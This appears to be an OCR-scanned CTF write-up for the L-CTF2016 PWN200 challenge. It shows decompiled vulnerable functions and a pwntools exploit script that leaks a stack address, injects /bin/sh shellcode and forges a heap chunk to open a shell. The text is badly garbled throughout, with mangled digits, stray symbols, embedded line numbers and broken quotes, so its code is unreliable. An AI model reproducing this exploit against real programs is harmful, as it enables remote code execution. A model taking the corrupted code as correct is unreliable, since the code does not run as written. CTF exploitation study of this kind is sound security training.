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dajun@ubuntu:~/binary/pwn/L-CTF2016 PWN200S checksec ./pwn20@
[#] '/fhome/dajun/binary/fpwn/L-CTF2816 PWN20O/pwn200'
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int sub_4BBASE()

{
signed  intéd i; // [rsp+16h] [rbp-48h]
char v2[48]; // [rsp+28h] [rbp-38h]

puts("who are u?");
for (i =0@LL; i <= O2F; ++i )
{
read(@, &/2[1], 1ull);
10 if ( v2[i] == 18 )
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11 {

12 v2[i] = @;
13 break;

14 }

15| }

16| printf("%s, welcome to xdctf~\n", v2);
17| puts("give me your id ~~?");

18| read_num();

19] return sub_480A29();

20}
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int sub_480A29()

{
char buf; f/ [rsp+8h] [rbp-48h]
char *dest; // [rsp+38h] [rbp-8h]
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6| dest = (char *)malloc(@x48ulLL);
7| puts("give me money~");

3| read(®, &buf, @x40ulLl);

9| strcpy(dest, &but);
18| ptr = dest;
11| return sub_4809C4();
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from pwn import *
context(arch="amdé4"',o0s="1inux")
context.log _level = 'debug'
io = process('./pwn200")
shellcode=""

shellcode += "\x00\x31\xf6\x48\xbb\x2f\x62\x69\x6e"
shellcode += "\Xx2f\x2f\x73\x68\x56\x53\x54\x5f"
shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05"
io.recvuntil('who are u?\n')

io.send('a'*0x30)

io.recvuntil('a'*0x30)

rbp_addr = u64(io.recv(6).1ljust(8,"'\x00"'))
log.success('rbp : "+hex(rbp_addr))
io.recvuntil(‘'give me your id ~~?\n')
io.sendline('33")

io.recvuntil('give me money~\n")

payload = shellcode +p64(0)*2 + p64(0x41)
payload = payload.ljust(0x38, '\x00")

payload += p64(rbp_addr - ©x90)
io.send(payload)

io.recvuntil('your choice : ')
io.sendline('2")

io.recvuntil('your choice : ')
io.sendline('1")

io.recvuntil("how long?\n")

#gdb.attach(io, 'b *0x4008FD")

#raw_input()

io.sendline(str(0x30))

io.recv()

io.sendline(p64(0)*3+p64(rbp_addr - Oxco + 1))
io.recv()

io.sendline('3")

io.interactive()



	L-CTF2016 PWN200 writeup
	本以为已经可以做出题来了。。。没想到连利用点在哪都没看见
	例行公事
	利用点分析
	利用方法
	exp


